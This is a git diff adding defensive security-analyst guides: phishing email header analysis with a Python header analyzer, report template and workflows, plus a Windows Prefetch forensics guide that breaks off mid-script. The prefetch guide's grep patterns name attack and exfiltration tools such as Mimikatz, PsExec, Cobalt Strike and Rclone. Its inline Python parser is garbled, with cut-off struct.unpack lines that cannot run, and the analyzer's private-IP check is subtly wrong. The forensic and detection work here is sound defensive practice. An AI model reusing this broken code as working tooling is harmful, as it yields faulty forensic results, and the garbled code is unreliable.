geographies +- Missing or malformed `Message-ID` +- Unusual `X-Mailer` values (e.g., mass-mailing tools) + +## Implementation Steps + +### Step 1: Extract Raw Email Headers +``` +Gmail: Open email -> Three dots -> "Show original" +Outlook: Open email -> File -> Properties -> Internet Headers +Thunderbird: View -> Message Source (Ctrl+U) +``` + +### Step 2: Parse Headers with Python +Use the `scripts/process.py` script to automate header analysis including IP geolocation, authentication validation, and anomaly detection. + +### Step 3: Validate Authentication Chain +- Check SPF alignment: Does the sending IP match the domain's SPF record? +- Check DKIM signature: Is the cryptographic signature valid? +- Check DMARC policy: Does the message pass DMARC alignment? + +### Step 4: Trace Mail Route +- Read `Received` headers from bottom to top +- Map each hop's IP to organization/location +- Identify unexpected relays or delays + +### Step 5: Correlate with Threat Intelligence +- Look up originating IP on AbuseIPDB, VirusTotal +- Check sending domain age on WHOIS +- Search for known phishing infrastructure patterns + +## Tools & Resources +- **MXToolbox Header Analyzer**: https://mxtoolbox.com/EmailHeaders.aspx +- **Google Admin Toolbox**: https://toolbox.googleapps.com/apps/messageheader/ +- **AbuseIPDB**: https://www.abuseipdb.com/ +- **VirusTotal**: https://www.virustotal.com/ +- **PhishTank**: https://phishtank.org/ + +## Validation +- Successfully parse headers from 3 different email providers +- Correctly identify authentication pass/fail status +- Accurately trace email routing path +- Detect at least 3 phishing indicators in a sample phishing email diff --git a/skills/analyzing-phishing-email-headers/assets/template.md b/skills/analyzing-phishing-email-headers/assets/template.md new file mode 100644 index 00000000..c621aba1 --- /dev/null +++ b/skills/analyzing-phishing-email-headers/assets/template.md @@ -0,0 +1,86 @@ +# Phishing Email Header Analysis Report Template + +## Report Information +- **Analyst**: [Name] +- **Date**: [YYYY-MM-DD] +- **Case ID**: [CASE-XXXX] +- **Classification**: [Phishing / Spear-phishing / BEC / Legitimate] + +## Email Summary +| Field | Value | +|---|---| +| From | | +| To | | +| Subject | | +| Date Received | | +| Message-ID | | + +## Authentication Results +| Check | Result | Domain | Notes | +|---|---|---|---| +| SPF | pass/fail/none | | | +| DKIM | pass/fail/none | | | +| DMARC | pass/fail/none | | | + +## Sender Analysis +| Field | Value | Match From? | +|---|---|---| +| From (header) | | N/A | +| Return-Path (envelope) | | Yes/No | +| Reply-To | | Yes/No | +| X-Originating-IP | | | +| X-Mailer | | | + +## Routing Analysis +| Hop | Server From | Server By | IP | Location | Time | +|---|---|---|---|---|---| +| 1 | | | | | | +| 2 | | | | | | +| 3 | | | | | | + +## Indicators of Compromise (IOCs) +### IP Addresses +| IP | Source | Reputation | Location | +|---|---|---|---| +| | | | | + +### Domains +| Domain | Source | Age | Reputation | +|---|---|---|---| +| | | | | + +### URLs +| URL | Context | Status | +|---|---|---| +| | | | + +## Phishing Indicators Found +| # | Category | Description | Severity | +|---|---|---|---| +| 1 | | | | +| 2 | | | | +| 3 | | | | + +## Risk Assessment +- **Risk Score**: [0-100] +- **Risk Level**: [CLEAN / LOW / MEDIUM / HIGH / CRITICAL] +- **Confidence**: [Low / Medium / High] + +## Recommended Actions +- [ ] Block sender domain at email gateway +- [ ] Add originating IP to blocklist +- [ ] Submit IOCs to threat intelligence platform +- [ ] Notify affected users +- [ ] Check for similar messages in mail logs +- [ ] Update email filtering rules +- [ ] Report to anti-phishing databases (PhishTank, APWG) + +## Evidence Chain +| Item | Hash (SHA-256) | Description | +|---|---|---| +| Original .eml | | Raw email file | +| Headers export | | Extracted headers | +| Screenshots | | Visual evidence | + +## Notes +[Additional observations, context, or analysis notes] diff --git a/skills/analyzing-phishing-email-headers/references/standards.md b/skills/analyzing-phishing-email-headers/references/standards.md new file mode 100644 index 00000000..c1c7f272 --- /dev/null +++ b/skills/analyzing-phishing-email-headers/references/standards.md @@ -0,0 +1,42 @@ +# Standards & References: Analyzing Phishing Email Headers + +## RFC Standards +- **RFC 5321 (SMTP)**: Simple Mail Transfer Protocol - defines how email is transmitted and the structure of Received headers +- **RFC 5322 (Internet Message Format)**: Defines the syntax of email header fields including From, To, Date, Message-ID +- **RFC 7208 (SPF)**: Sender Policy Framework - mechanism for validating email sender IP against domain policy +- **RFC 6376 (DKIM)**: DomainKeys Identified Mail - cryptographic authentication of email messages +- **RFC 7489 (DMARC)**: Domain-based Message Authentication, Reporting and Conformance +- **RFC 8601 (Authentication-Results)**: Message Header Field for Indicating Message Authentication Status + +## NIST Guidelines +- **NIST SP 800-177 Rev.1**: Trustworthy Email - comprehensive guide to email security including header authentication +- **NIST SP 800-45 Ver.2**: Guidelines on Electronic Mail Security + +## MITRE ATT&CK References +- **T1566.001**: Phishing: Spearphishing Attachment +- **T1566.002**: Phishing: Spearphishing Link +- **T1566.003**: Phishing: Spearphishing via Service +- **T1534**: Internal Spearphishing + +## Industry Standards +- **M3AAWG Best Practices**: Messaging, Malware and Mobile Anti-Abuse Working Group email authentication recommendations +- **DMARC.org**: Industry consortium for DMARC deployment guidance +- **Anti-Phishing Working Group (APWG)**: Phishing Activity Trends Reports + +## Key Header Fields Reference + +| Header Field | RFC | Purpose | +|---|---|---| +| Received | RFC 5321 | Records each SMTP hop | +| From | RFC 5322 | Display sender address | +| Return-Path | RFC 5321 | Envelope sender (bounce address) | +| Authentication-Results | RFC 8601 | SPF/DKIM/DMARC results | +| DKIM-Signature | RFC 6376 | Cryptographic signature | +| Message-ID | RFC 5322 | Unique message identifier | +| X-Originating-IP | Non-standard | Sender's IP (provider-specific) | +| X-Mailer | Non-standard | Email client identification | + +## Compliance Frameworks +- **PCI DSS 4.0**: Requirement 5 - Protect All Systems and Networks from Malicious Software +- **ISO 27001:2022**: A.8.23 - Web filtering; A.5.14 - Information transfer +- **SOC 2**: CC6.1 - Logical and Physical Access Controls diff --git a/skills/analyzing-phishing-email-headers/references/workflows.md b/skills/analyzing-phishing-email-headers/references/workflows.md new file mode 100644 index 00000000..21629b4d --- /dev/null +++ b/skills/analyzing-phishing-email-headers/references/workflows.md @@ -0,0 +1,89 @@ +# Workflows: Analyzing Phishing Email Headers + +## Workflow 1: Rapid Header Triage + +``` +START: Suspicious email reported + | + v +[Extract raw headers from email client] + | + v +[Check Authentication-Results header] + | + +-- SPF=pass, DKIM=pass, DMARC=pass --> Lower suspicion, check content + | + +-- Any FAIL --> High suspicion + | + v + [Compare From vs Return-Path vs Reply-To] + | + +-- All match --> Check Received chain + +-- Mismatch --> LIKELY PHISHING - escalate + | + v + [Document findings, block sender, alert SOC] +``` + +## Workflow 2: Full Header Forensic Analysis + +### Phase 1: Collection +1. Obtain raw email source (.eml file or copy full headers) +2. Preserve original message with headers as evidence +3. Calculate hash of original .eml file for chain of custody + +### Phase 2: Authentication Analysis +1. Extract SPF result from Authentication-Results +2. Verify SPF by querying sender domain's TXT record: `dig TXT _spf.example.com` +3. Extract DKIM result and verify signature domain +4. Check DMARC alignment (identifier alignment between SPF/DKIM and From domain) +5. Document all authentication pass/fail results + +### Phase 3: Route Analysis +1. Parse all Received headers (bottom to top) +2. For each hop: + - Extract server hostname and IP + - Note timestamp + - Calculate time delta between hops +3. Flag any: + - Unexpected relay servers + - Geographic anomalies (IP in unexpected country) + - Excessive delays (possible queuing for mass send) + - Internal-only hostnames appearing in external mail + +### Phase 4: Sender Investigation +1. WHOIS lookup on sending domain + - Domain age < 30 days = high risk + - Registrar known for abuse = medium risk +2. Reverse DNS on originating IP +3. AbuseIPDB / VirusTotal lookup on originating IP +4. Check if sending domain appears in known phishing feeds + +### Phase 5: Indicator Extraction +1. Extract all URLs from message body and headers +2. Extract all IP addresses from Received chain +3. Extract domain names from all relevant fields +4. Create IOC list for threat intelligence platform + +## Workflow 3: Automated Pipeline + +``` +Email received --> MTA logs header --> + SIEM ingestion --> + Automated header parsing --> + Authentication check --> + IF fail: Create alert + enrich with TI --> + SOC analyst review --> + Confirm/dismiss --> + IF confirmed: Block + hunt similar +``` + +## Decision Matrix + +| Authentication | Route | Sender Rep | Action | +|---|---|---|---| +| All Pass | Normal | Good | Deliver normally | +| SPF Fail | Normal | Good | Quarantine, investigate | +| DKIM Fail | Normal | Unknown | Quarantine, investigate | +| DMARC Fail | Anomalous | Bad | Block, create IOC | +| All Fail | Anomalous | Bad | Block, escalate, hunt | diff --git a/skills/analyzing-phishing-email-headers/scripts/process.py b/skills/analyzing-phishing-email-headers/scripts/process.py new file mode 100644 index 00000000..f2d79a9a --- /dev/null +++ b/skills/analyzing-phishing-email-headers/scripts/process.py @@ -0,0 +1,566 @@ +#!/usr/bin/env python3 +""" +Phishing Email Header Analyzer + +Parses raw email headers to extract authentication results, routing information, +and phishing indicators. Performs IP geolocation, domain age checks, and +generates a risk assessment report. + +Usage: + python process.py --file email_headers.txt + python process.py --eml suspicious_email.eml + python process.py --stdin < headers.txt +""" + +import argparse +import email +import re +import json +import sys +import socket +import hashlib +from datetime import datetime, timezone +from email import policy +from email.parser import HeaderParser, BytesParser +from pathlib import Path +from typing import Optional +from dataclasses import dataclass, field, asdict + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +@dataclass +class ReceivedHop: + """Represents a single hop in the email routing chain.""" + server_from: str = "" + server_by: str = "" + ip_address: str = "" + timestamp: str = "" + protocol: str = "" + hop_number: int = 0 + geo_location: str = "" + reverse_dns: str = "" + + +@dataclass +class AuthenticationResult: + """Email authentication check results.""" + spf: str = "none" + spf_domain: str = "" + dkim: str = "none" + dkim_domain: str = "" + dmarc: str = "none" + dmarc_domain: str = "" + compauth: str = "" + + +@dataclass +class PhishingIndicator: + """A single phishing indicator found in headers.""" + category: str = "" + description: str = "" + severity: str = "low" # low, medium, high, critical + raw_value: str = "" + + +@dataclass +class HeaderAnalysis: + """Complete header analysis results.""" + message_id: str = "" + from_address: str = "" + from_domain: str = "" + return_path: str = "" + return_path_domain: str = "" + reply_to: str = "" + reply_to_domain: str = "" + subject: str = "" + date: str = "" + x_originating_ip: str = "" + x_mailer: str = "" + received_hops: list = field(default_factory=list) + authentication: AuthenticationResult = field(default_factory=AuthenticationResult) + indicators: list = field(default_factory=list) + risk_score: int = 0 + risk_level: str = "unknown" + urls_in_headers: list = field(default_factory=list) + file_hash: str = "" + + +def extract_ip_from_received(received_value: str) -> str: + """Extract IP address from a Received header value.""" + ip_patterns = [ + r'\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]', + r'\((\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\)', + r'from\s+\S+\s+\(.*?(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', + ] + for pattern in ip_patterns: + match = re.search(pattern, received_value) + if match: + ip = match.group(1) + if not ip.startswith(('10.', '172.16.', '172.17.', '172.18.', + '172.19.', '172.2', '172.30.', '172.31.', + '192.168.', '127.')): + return ip + return "" + + +def extract_domain(email_address: str) -> str: + """Extract domain from an email address.""" + if not email_address: + return "" + match = re.search(r'@([\w.-]+)', email_address) + return match.group(1).lower() if match else "" + + +def parse_received_header(received_value: str, hop_num: int) -> ReceivedHop: + """Parse a single Received header into structured data.""" + hop = ReceivedHop(hop_number=hop_num) + + from_match = re.search(r'from\s+([\w.\-]+)', received_value, re.IGNORECASE) + if from_match: + hop.server_from = from_match.group(1) + + by_match = re.search(r'by\s+([\w.\-]+)', received_value, re.IGNORECASE) + if by_match: + hop.server_by = by_match.group(1) + + hop.ip_address = extract_ip_from_received(received_value) + + date_match = re.search(r';\s*(.+)$', received_value) + if date_match: + hop.timestamp = date_match.group(1).strip() + + proto_match = re.search(r'with\s+(ESMTP[SA]*|SMTP[SA]*|HTTP[S]?|LMTP)', + received_value, re.IGNORECASE) + if proto_match: + hop.protocol = proto_match.group(1).upper() + + return hop + + +def parse_authentication_results(auth_header: str) -> AuthenticationResult: + """Parse Authentication-Results header.""" + result = AuthenticationResult() + + spf_match = re.search(r'spf=(pass|fail|softfail|neutral|none|temperror|permerror)', + auth_header, re.IGNORECASE) + if spf_match: + result.spf = spf_match.group(1).lower() + + spf_domain_match = re.search(r'smtp\.mailfrom=([\w.\-@]+)', auth_header, re.IGNORECASE) + if spf_domain_match: + result.spf_domain = spf_domain_match.group(1) + + dkim_match = re.search(r'dkim=(pass|fail|none|neutral|temperror|permerror)', + auth_header, re.IGNORECASE) + if dkim_match: + result.dkim = dkim_match.group(1).lower() + + dkim_domain_match = re.search(r'header\.[di]=([\w.\-]+)', auth_header, re.IGNORECASE) + if dkim_domain_match: + result.dkim_domain = dkim_domain_match.group(1) + + dmarc_match = re.search(r'dmarc=(pass|fail|none|bestguesspass|temperror|permerror)', + auth_header, re.IGNORECASE) + if dmarc_match: + result.dmarc = dmarc_match.group(1).lower() + + dmarc_domain_match = re.search(r'header\.from=([\w.\-]+)', auth_header, re.IGNORECASE) + if dmarc_domain_match: + result.dmarc_domain = dmarc_domain_match.group(1) + + compauth_match = re.search(r'compauth=(\w+)', auth_header, re.IGNORECASE) + if compauth_match: + result.compauth = compauth_match.group(1) + + return result + + +def geolocate_ip(ip_address: str) -> str: + """Geolocate an IP address using ip-api.com (free, no key required).""" + if not HAS_REQUESTS or not ip_address: + return "unknown" + try: + resp = requests.get(f"http://ip-api.com/json/{ip_address}", + timeout=5, + params={"fields": "country,city,org,status"}) + if resp.status_code == 200: + data = resp.json() + if data.get("status") == "success": + return f"{data.get('city', '')}, {data.get('country', '')} ({data.get('org', '')})" + except Exception: + pass + return "unknown" + + +def reverse_dns_lookup(ip_address: str) -> str: + """Perform reverse DNS lookup on an IP address.""" + if not ip_address: + return "" + try: + hostname = socket.gethostbyaddr(ip_address) + return hostname[0] + except (socket.herror, socket.gaierror, OSError): + return "" + + +def check_abuseipdb(ip_address: str, api_key: str = "") -> dict: + """Check IP against AbuseIPDB (requires API key).""" + if not HAS_REQUESTS or not api_key or not ip_address: + return {} + try: + headers = {"Key": api_key, "Accept": "application/json"} + params = {"ipAddress": ip_address, "maxAgeInDays": "90"} + resp = requests.get("https://api.abuseipdb.com/api/v2/check", + headers=headers, params=params, timeout=10) + if resp.status_code == 200: + return resp.json().get("data", {}) + except Exception: + pass + return {} + + +def analyze_indicators(analysis: HeaderAnalysis) -> list: + """Detect phishing indicators from parsed header data.""" + indicators = [] + + # Check From vs Return-Path mismatch + if (analysis.from_domain and analysis.return_path_domain and + analysis.from_domain != analysis.return_path_domain): + indicators.append(PhishingIndicator( + category="sender_mismatch", + description=f"From domain ({analysis.from_domain}) differs from " + f"Return-Path domain ({analysis.return_path_domain})", + severity="high", + raw_value=f"From: {analysis.from_domain}, Return-Path: {analysis.return_path_domain}" + )) + + # Check From vs Reply-To mismatch + if (analysis.from_domain and analysis.reply_to_domain and + analysis.from_domain != analysis.reply_to_domain): + indicators.append(PhishingIndicator( + category="reply_to_mismatch", + description=f"From domain ({analysis.from_domain}) differs from " + f"Reply-To domain ({analysis.reply_to_domain})", + severity="high", + raw_value=f"From: {analysis.from_domain}, Reply-To: {analysis.reply_to_domain}" + )) + + # Check SPF failure + if analysis.authentication.spf in ("fail", "softfail"): + indicators.append(PhishingIndicator( + category="authentication_failure", + description=f"SPF check returned {analysis.authentication.spf}", + severity="high" if analysis.authentication.spf == "fail" else "medium", + raw_value=f"spf={analysis.authentication.spf}" + )) + + # Check DKIM failure + if analysis.authentication.dkim == "fail": + indicators.append(PhishingIndicator( + category="authentication_failure", + description="DKIM signature verification failed", + severity="high", + raw_value="dkim=fail" + )) + + # Check DMARC failure + if analysis.authentication.dmarc == "fail": + indicators.append(PhishingIndicator( + category="authentication_failure", + description="DMARC policy check failed", + severity="critical", + raw_value="dmarc=fail" + )) + + # Check for missing Message-ID + if not analysis.message_id: + indicators.append(PhishingIndicator( + category="missing_header", + description="Message-ID header is missing", + severity="medium", + raw_value="" + )) + + # Check for suspicious X-Mailer + suspicious_mailers = [ + "PHPMailer", "King Phisher", "GoPhish", "Swaks", + "Sendinblue", "Mass Mailer", "Bulk Mailer" + ] + if analysis.x_mailer: + for mailer in suspicious_mailers: + if mailer.lower() in analysis.x_mailer.lower(): + indicators.append(PhishingIndicator( + category="suspicious_mailer", + description=f"Suspicious X-Mailer detected: {analysis.x_mailer}", + severity="high", + raw_value=analysis.x_mailer + )) + break + + # Check for too few received hops (direct injection) + if len(analysis.received_hops) <= 1: + indicators.append(PhishingIndicator( + category="routing_anomaly", + description="Very few Received hops - possible direct SMTP injection", + severity="medium", + raw_value=f"Hop count: {len(analysis.received_hops)}" + )) + + # Check for missing authentication results + auth = analysis.authentication + if auth.spf == "none" and auth.dkim == "none" and auth.dmarc == "none": + indicators.append(PhishingIndicator( + category="no_authentication", + description="No email authentication results found (SPF, DKIM, DMARC all absent)", + severity="high", + raw_value="" + )) + + return indicators + + +def calculate_risk_score(indicators: list) -> tuple: + """Calculate risk score from indicators. Returns (score, level).""" + severity_weights = {"critical": 30, "high": 20, "medium": 10, "low": 5} + score = 0 + for indicator in indicators: + score += severity_weights.get(indicator.severity, 0) + + score = min(score, 100) + + if score >= 70: + level = "CRITICAL" + elif score >= 50: + level = "HIGH" + elif score >= 30: + level = "MEDIUM" + elif score >= 10: + level = "LOW" + else: + level = "CLEAN" + + return score, level + + +def analyze_headers(raw_headers: str, enrich: bool = False, + abuseipdb_key: str = "") -> HeaderAnalysis: + """ + Main analysis function. Parses raw email headers and produces + a complete HeaderAnalysis report. + """ + analysis = HeaderAnalysis() + + # Calculate hash of raw input for evidence tracking + analysis.file_hash = hashlib.sha256(raw_headers.encode()).hexdigest() + + # Parse using Python's email library + parser = HeaderParser() + msg = parser.parsestr(raw_headers) + + # Extract basic fields + analysis.from_address = msg.get("From", "") + analysis.from_domain = extract_domain(analysis.from_address) + analysis.return_path = msg.get("Return-Path", "") + analysis.return_path_domain = extract_domain(analysis.return_path) + analysis.reply_to = msg.get("Reply-To", "") + analysis.reply_to_domain = extract_domain(analysis.reply_to) + analysis.message_id = msg.get("Message-ID", "") + analysis.subject = msg.get("Subject", "") + analysis.date = msg.get("Date", "") + analysis.x_mailer = msg.get("X-Mailer", "") or msg.get("User-Agent", "") + + # Extract X-Originating-IP + x_orig = msg.get("X-Originating-IP", "") + if x_orig: + ip_match = re.search(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', x_orig) + if ip_match: + analysis.x_originating_ip = ip_match.group(1) + + # Parse Received headers (they appear in reverse order) + received_headers = msg.get_all("Received", []) + for i, received in enumerate(received_headers): + hop = parse_received_header(received, len(received_headers) - i) + if enrich and hop.ip_address: + hop.geo_location = geolocate_ip(hop.ip_address) + hop.reverse_dns = reverse_dns_lookup(hop.ip_address) + analysis.received_hops.append(hop) + + # Reverse to chronological order (first hop first) + analysis.received_hops.reverse() + + # Parse Authentication-Results + auth_results = msg.get("Authentication-Results", "") + if auth_results: + analysis.authentication = parse_authentication_results(auth_results) + + # Also check ARC-Authentication-Results + arc_auth = msg.get("ARC-Authentication-Results", "") + if arc_auth and analysis.authentication.spf == "none": + analysis.authentication = parse_authentication_results(arc_auth) + + # Extract URLs from headers + url_pattern = r'https?://[^\s<>"\')\]>]+' + all_header_text = raw_headers + analysis.urls_in_headers = list(set(re.findall(url_pattern, all_header_text))) + + # Detect phishing indicators + analysis.indicators = analyze_indicators(analysis) + + # Calculate risk score + analysis.risk_score, analysis.risk_level = calculate_risk_score(analysis.indicators) + + # Enrich with threat intelligence if requested + if enrich and analysis.x_originating_ip and abuseipdb_key: + abuse_data = check_abuseipdb(analysis.x_originating_ip, abuseipdb_key) + if abuse_data and abuse_data.get("abuseConfidenceScore", 0) > 50: + analysis.indicators.append(PhishingIndicator( + category="threat_intelligence", + description=f"IP {analysis.x_originating_ip} has abuse confidence " + f"score of {abuse_data['abuseConfidenceScore']}%", + severity="critical", + raw_value=json.dumps(abuse_data) + )) + # Recalculate risk + analysis.risk_score, analysis.risk_level = calculate_risk_score(analysis.indicators) + + return analysis + + +def format_report(analysis: HeaderAnalysis) -> str: + """Format analysis results as a human-readable report.""" + lines = [] + lines.append("=" * 70) + lines.append(" PHISHING EMAIL HEADER ANALYSIS REPORT") + lines.append("=" * 70) + lines.append(f" Generated: {datetime.now(timezone.utc).isoformat()}") + lines.append(f" Evidence Hash: {analysis.file_hash[:16]}...") + lines.append("") + + # Risk Assessment + lines.append(f" RISK LEVEL: {analysis.risk_level} (Score: {analysis.risk_score}/100)") + lines.append("-" * 70) + + # Sender Information + lines.append("\n[SENDER INFORMATION]") + lines.append(f" From: {analysis.from_address}") + lines.append(f" Return-Path: {analysis.return_path}") + lines.append(f" Reply-To: {analysis.reply_to}") + lines.append(f" Subject: {analysis.subject}") + lines.append(f" Date: {analysis.date}") + lines.append(f" Message-ID: {analysis.message_id}") + lines.append(f" X-Mailer: {analysis.x_mailer}") + if analysis.x_originating_ip: + lines.append(f" Origin IP: {analysis.x_originating_ip}") + + # Authentication Results + lines.append("\n[AUTHENTICATION RESULTS]") + auth = analysis.authentication + spf_icon = "PASS" if auth.spf == "pass" else "FAIL" if auth.spf in ("fail", "softfail") else "NONE" + dkim_icon = "PASS" if auth.dkim == "pass" else "FAIL" if auth.dkim == "fail" else "NONE" + dmarc_icon = "PASS" if auth.dmarc == "pass" else "FAIL" if auth.dmarc == "fail" else "NONE" + lines.append(f" SPF: {spf_icon} ({auth.spf}) domain={auth.spf_domain}") + lines.append(f" DKIM: {dkim_icon} ({auth.dkim}) domain={auth.dkim_domain}") + lines.append(f" DMARC: {dmarc_icon} ({auth.dmarc}) domain={auth.dmarc_domain}") + + # Routing Path + lines.append(f"\n[ROUTING PATH] ({len(analysis.received_hops)} hops)") + for hop in analysis.received_hops: + lines.append(f" Hop {hop.hop_number}: {hop.server_from} -> {hop.server_by}") + if hop.ip_address: + lines.append(f" IP: {hop.ip_address}") + if hop.geo_location and hop.geo_location != "unknown": + lines.append(f" Location: {hop.geo_location}") + if hop.protocol: + lines.append(f" Protocol: {hop.protocol}") + if hop.timestamp: + lines.append(f" Time: {hop.timestamp}") + + # Phishing Indicators + if analysis.indicators: + lines.append(f"\n[PHISHING INDICATORS] ({len(analysis.indicators)} found)") + for i, ind in enumerate(analysis.indicators, 1): + lines.append(f" {i}. [{ind.severity.upper()}] {ind.description}") + if ind.raw_value: + lines.append(f" Value: {ind.raw_value}") + else: + lines.append("\n[PHISHING INDICATORS] None detected") + + # URLs in Headers + if analysis.urls_in_headers: + lines.append(f"\n[URLS IN HEADERS] ({len(analysis.urls_in_headers)} found)") + for url in analysis.urls_in_headers[:10]: + lines.append(f" - {url}") + + lines.append("\n" + "=" * 70) + lines.append(" END OF REPORT") + lines.append("=" * 70) + + return "\n".join(lines) + + +def main(): + parser = argparse.ArgumentParser( + description="Analyze email headers for phishing indicators" + ) + input_group = parser.add_mutually_exclusive_group(required=True) + input_group.add_argument("--file", "-f", help="Path to file containing raw headers") + input_group.add_argument("--eml", "-e", help="Path to .eml file") + input_group.add_argument("--stdin", action="store_true", help="Read headers from stdin") + + parser.add_argument("--enrich", action="store_true", + help="Enrich with IP geolocation and reverse DNS") + parser.add_argument("--abuseipdb-key", default="", + help="AbuseIPDB API key for threat intelligence") + parser.add_argument("--json", action="store_true", + help="Output results as JSON") + parser.add_argument("--output", "-o", help="Write report to file") + + args = parser.parse_args() + + # Read input + if args.stdin: + raw_headers = sys.stdin.read() + elif args.eml: + with open(args.eml, "rb") as f: + msg = BytesParser(policy=policy.default).parse(f) + raw_headers = str(msg) + else: + with open(args.file, "r", encoding="utf-8", errors="replace") as f: + raw_headers = f.read() + + # Analyze + analysis = analyze_headers( + raw_headers, + enrich=args.enrich, + abuseipdb_key=args.abuseipdb_key + ) + + # Output + if args.json: + output = json.dumps(asdict(analysis), indent=2, default=str) + else: + output = format_report(analysis) + + if args.output: + with open(args.output, "w", encoding="utf-8") as f: + f.write(output) + print(f"Report written to {args.output}") + else: + print(output) + + # Exit code based on risk + if analysis.risk_level in ("CRITICAL", "HIGH"): + sys.exit(2) + elif analysis.risk_level == "MEDIUM": + sys.exit(1) + else: + sys.exit(0) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-prefetch-files-for-execution-history/SKILL.md b/skills/analyzing-prefetch-files-for-execution-history/SKILL.md new file mode 100644 index 00000000..4d1a2e01 --- /dev/null +++ b/skills/analyzing-prefetch-files-for-execution-history/SKILL.md @@ -0,0 +1,311 @@ +--- +name: analyzing-prefetch-files-for-execution-history +description: Parse Windows Prefetch files to determine program execution history including run counts, timestamps, and referenced files for forensic investigation. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, prefetch, windows-artifacts, execution-history, timeline-analysis, evidence-collection] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Prefetch Files for Execution History + +## When to Use +- When determining which programs were executed on a Windows system and when +- During malware investigations to confirm execution of suspicious binaries +- For establishing a timeline of application usage during an incident +- When correlating program execution with other forensic artifacts +- To identify anti-forensic tools or unauthorized software that was run + +## Prerequisites +- Access to Windows Prefetch directory (C:\Windows\Prefetch\) from forensic image +- PECmd (Eric Zimmerman), WinPrefetchView, or python-prefetch parser +- Understanding of Prefetch file format (versions 17, 23, 26, 30) +- Windows system with Prefetch enabled (default on client OS, disabled on servers) +- Knowledge of Prefetch naming conventions (APPNAME-HASH.pf) + +## Workflow + +### Step 1: Extract Prefetch Files from Forensic Image + +```bash +# Mount the forensic image +mount -o ro,loop,offset=$((2048*512)) /cases/case-2024-001/images/evidence.dd /mnt/evidence + +# Copy all prefetch files +mkdir -p /cases/case-2024-001/prefetch/ +cp /mnt/evidence/Windows/Prefetch/*.pf /cases/case-2024-001/prefetch/ + +# Count and list prefetch files +ls -la /cases/case-2024-001/prefetch/ | wc -l +ls -la /cases/case-2024-001/prefetch/ | head -30 + +# Hash all prefetch files for integrity +sha256sum /cases/case-2024-001/prefetch/*.pf > /cases/case-2024-001/prefetch/pf_hashes.txt + +# Note: Prefetch filename format is EXECUTABLE_NAME-XXXXXXXX.pf +# The hash (XXXXXXXX) is based on the executable path +# Same executable from different paths creates different prefetch files +``` + +### Step 2: Parse Prefetch Files with PECmd + +```bash +# Using Eric Zimmerman's PECmd (Windows or via Mono/Wine on Linux) +# Download from https://ericzimmerman.github.io/ + +# Parse a single prefetch file +PECmd.exe -f "C:\cases\prefetch\POWERSHELL.EXE-A]B2C3D4.pf" + +# Parse all prefetch files and output to CSV +PECmd.exe -d "C:\cases\prefetch\" --csv "C:\cases\analysis\" --csvf prefetch_results.csv + +# Parse with JSON output +PECmd.exe -d "C:\cases\prefetch\" --json "C:\cases\analysis\" --jsonf prefetch_results.json + +# Output includes for each file: +# - Executable name and path +# - Run count +# - Last run time (up to 8 timestamps in Windows 10) +# - Files and directories referenced during execution +# - Volume information (serial number, creation date) +# - Prefetch file creation time +``` + +### Step 3: Parse with Python for Linux-Based Analysis + +```bash +pip install prefetch + +python3 << 'PYEOF' +import os +import json +from datetime import datetime + +# Parse prefetch files using python +import struct + +def parse_prefetch(filepath): + """Parse a Windows Prefetch file.""" + with open(filepath, 'rb') as f: + data = f.read() + + # Check for MAM compressed format (Windows 10) + if data[:4] == b'MAM\x04': + import lznt1 # or use DecompressBuffer + # Windows 10 prefetch files are compressed + print(f" [Compressed Win10 format - use PECmd for full parsing]") + return None + + # Version 17 (XP), 23 (Vista/7), 26 (8.1), 30 (10) + version = struct.unpack('= 23 else struct.unpack('= 26: # Win8+ - up to 8 timestamps + timestamps = [] + for i in range(8): + ts = struct.unpack(' 0: + timestamps.append(filetime_to_datetime(ts)) + result['last_run_times'] = timestamps + + return result + +def filetime_to_datetime(ft): + """Convert Windows FILETIME to datetime string.""" + if ft == 0: + return None + timestamp = (ft - 116444736000000000) / 10000000 + try: + return datetime.utcfromtimestamp(timestamp).strftime('%Y-%m-%d %H:%M:%S UTC') + except (OSError, ValueError): + return None + +# Process all prefetch files +prefetch_dir = '/cases/case-2024-001/prefetch/' +results = [] + +for filename in sorted(os.listdir(prefetch_dir)): + if filename.lower().endswith('.pf'): + filepath = os.path.join(prefetch_dir, filename) + print(f"\n=== {filename} ===") + result = parse_prefetch(filepath) + if result: + print(f" Executable: {result['executable']}") + print(f" Run Count: {result['run_count']}") + if 'last_run' in result: + print(f" Last Run: {result['last_run']}") + elif 'last_run_times' in result: + for i, ts in enumerate(result['last_run_times']): + print(f" Run Time {i+1}: {ts}") + results.append(result) + +# Save results +with open('/cases/case-2024-001/analysis/prefetch_analysis.json', 'w') as f: + json.dump(results, f, indent=2) +PYEOF +``` + +### Step 4: Identify Suspicious Execution Evidence + +```bash +# Search for known malicious tool names in prefetch +ls /cases/case-2024-001/prefetch/ | grep -iE \ + '(MIMIKATZ|PSEXEC|WMIC|COBALT|BEACON|PWDUMP|PROCDUMP|LAZAGNE|RUBEUS|BLOODHOUND|SHARPHOUND|CERTUTIL|BITSADMIN)' + +# Search for script interpreters (potential malicious execution) +ls /cases/case-2024-001/prefetch/ | grep -iE \ + '(POWERSHELL|CMD\.EXE|WSCRIPT|CSCRIPT|MSHTA|REGSVR32|RUNDLL32|MSIEXEC)' + +# Search for remote access tools +ls /cases/case-2024-001/prefetch/ | grep -iE \ + '(TEAMVIEWER|ANYDESK|LOGMEIN|VNC|SPLASHTOP|SCREENCONNECT|AMMYY)' + +# Search for data exfiltration tools +ls /cases/case-2024-001/prefetch/ | grep -iE \ + '(RAR|7Z|ZIP|RCLONE|MEGA|DROPBOX|ONEDRIVE|GDRIVE|FTP|CURL|WGET)' + +# Find recently created prefetch files (newest executables run) +ls -lt /cases/case-2024-001/prefetch/ | head -20 + +# Cross-reference with Shimcache and Amcache for confirmation +# Prefetch existence = program was executed at least once +``` + +### Step 5: Build Execution Timeline + +```bash +# Create timeline from prefetch data +python3 << 'PYEOF' +import json +import csv + +with open('/cases/case-2024-001/analysis/prefetch_analysis.json') as f: + data = json.load(f) + +timeline = [] +for entry in data: + if 'last_run_times' in entry: + for ts in 